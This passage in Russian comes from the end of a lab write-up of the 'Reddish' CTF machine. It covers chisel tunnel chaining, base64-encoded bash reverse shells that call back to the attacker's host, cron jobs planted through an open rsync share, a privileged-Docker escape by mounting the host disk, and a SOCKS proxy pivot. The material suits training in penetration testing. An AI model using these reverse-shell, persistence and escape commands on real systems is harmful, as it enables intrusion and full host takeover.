до порта 3333
на Kali.
www-data@www:/tmp$ ./chisel client 172.19.0.4:1111 2222:127.0.0.1:3333 &
Теперь все, что попадет в порт 2222
на www
, будет перенаправлено по цепочке туннелей через контейнер nodered
в порт 3333
на машину атакующего.
Сетевая карта. Часть 7: Цепочка туннелей “www <=> nodered <=> Kali”
Для некоторых утилитарных целей (например, доставить исполняемый файл chisel
в контейнер www
), было открыто еще 100500 вспомогательных туннелей, описание которых я не стал включать в текст прохождения и добавлять на сетевую карту, чтобы не запутывать читателя еще больше.
Остается создать реверс-шелл, cron-задачу, залить это все на backup
, дождаться запуска cron-а и поймать шелл на Kali. Сделаем же это.
Создаем шелл.
root@www:/tmp# echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMC4zLzIyMjIgMD4mMScK | base64 -d > shell.sh
root@www:/tmp# cat shell.sh
`bash -c 'bash -i >& /dev/tcp/172.20.0.3/2222 0>&1'
Создаем cronjob, который будет выполняться каждую минуту.
root@www:/tmp# echo '* * * * * root bash /tmp/shell.sh' > shell
Заливаем оба файла на backup
с помощью rsync
.
root@www:/tmp# rsync -a shell.sh rsync://backup:873/src/tmp/
root@www:/tmp# rsync -a shell rsync://backup:873/src/etc/cron.d/
И через мгновение нам приходит коннект на 3333-й порт Kali.
Финальный захват хоста Reddish
Прогулявшись по файловой системе backup
, можно увидеть такую картину.
В директории /dev
оставлен доступ ко всем накопителям хостовой ОС. Это означает, что на Reddish этот контейнер был запущен с флагом –privileged. Это наделяет докер-процесс практически всеми полномочиями, которые есть у основного хоста.
Интересная презентация по аудиту докер-контейнеров: Hacking Docker the Easy way.
Если мы смонтируем, к примеру, /dev/sda1
, то сможем совершить побег в файловую систему Reddish.
Шелл можно получить тем же способом, каким мы попали в контейнер backup
: создадим cronjob и дропнем его в /dev/sda1/etc/cron.d/
.
root@backup:/tmp/sda1/etc/cron.d# echo 'YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xOS85OTk5IDA+JjEnCg==' | base64 -d > /tmp/sda1/tmp/shell.sh
root@backup:/tmp/sda1/etc/cron.d# cat ../../tmp/shell.sh
bash -c 'bash -i >& /dev/tcp/10.10.14.19/9999 0>&1'
root@backup:/tmp/sda1/etc/cron.d# echo '* * * * * root bash /tmp/shell.sh' > shell
И теперь отклик реверс-шелла придет уже человеческим образом — через реальную сеть 10.10.0.0/16
(а не через дебри виртуальных интерфейсов докера) на порт 9999
ВМ Kali.
Если вызвать ip addr
, можно видеть нагромождение сетей docker.
Вот и все! Осталось забрат рутовый флаг, и виртуалка пройдена.
root@backup:/tmp/sda1# cat root/root.txt
cat root/root.txt
50d0db64????????????????????????
Эпилог
Конфигурация docker
У нас есть полноправный доступ к системе, поэтому из любопытства можно открыть конфигурацию docker /opt/reddish_composition/docker-compose.yml.
Из нее мы видим:
- список портов, доступных «снаружи» (строка 7);
- разделяемую с контейнерами
www
иredis
внутреннюю сеть (строка 10); - конфигурации всех контейнеров (
nodered
,www
,redis
,backup
); - флаг
--privileged
, с которым запущен контейнерbackup
(строка 38).
В соответствии с найденным конфигом я в последний раз обновлю свою сетевую карту.
Сетевая карта. Часть 8: Файловая система Reddish
Chisel SOCKS
Откровенно говоря, Reddish можно было пройти гораздо проще, ведь Chisel поддерживает SOCKS-прокси. Это значит, что нам вообще-то не нужно было вручную возводить отдельный туннель под каждый пробрасываемый порт. Безусловно, это полезно в учебных целях, чтобы понимать, как это все работает (за этим мы это и делали), однако настройка прокси-сервера значительно упрощает жизнь пентестеру.
Единственная трудность заключается в том, что Chisel умеет запускать режим SOCKS-сервера только в режиме chisel server
. То есть нам нужно было бы положить Chisel на промежуточный хост (например, на nodered
), запустить его в режиме сервера и подключаться к этому серверу с Kali. Но именно это мы и не могли сделать! Как ты помнишь, мы специально сперва пробрасывали реверс-соединение к себе на машину, чтобы взаимодействовать со внутренней сетью докер-контейнеров.
Но и здесь есть выход: можно запустить «Chisel поверх Chisel» так, чтобы первый Chisel вел себя как обычный сервер, который организует нам backconnect к nodered
, а второй — вел себя как сервер SOCKS-прокси уже в самом контейнере nodered
. Продемонстрируем это на примере.
root@kali:~/chisel# ./chisel server -v -reverse -p 8000
Первым делом, как обычно, запускаем сервер на Kali, который разрешает обратные подключения.
root@nodered:/tmp# ./chisel client 10.10.14.19:8000 R:127.0.0.1:8001:127.0.0.1:31337 &
Потом делаем обратный проброс с nodered
(порт 31337
) на Kali (порт 8001
). На данном этапе все, что попадает на Kali через localhost:8001
, отправляется в nodered
на localhost:31337
.
root@nodered:/tmp# ./chisel server -v -p 31337 --socks5
Следующим шагом запускаем Chisel в режиме SOCKS-сервера на nodered
слушать порт 31337
.
root@kali:~/chisel# ./chisel client 127.0.0.1:8001 1080:socks
В завершении активируем дополнительный клиент Chisel на Kali (со значением socks
в качестве remote), который подключается к локальному порту 8001
. А дальше начинается магия: трафик передается через порт 1080
SOCKS-прокси по обратному туннелю, который обслуживает первый сервер на 8000-м порту, и попадает на интерфейс 127.0.0.1
контейнера nodered
в порт 31337
, где уже развернут SOCKS-сервер. Фух.
С этого момента мы можем обращаться к любому хосту по любому порту, до которых может дотянутся nodered
, а SOCKS-прокси выполнит всю маршрутизацию за нас.
root@kali:~# proxychains4 nmap -n -Pn -sT -sV -sC 172.19.0.3 -p6379
...
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
...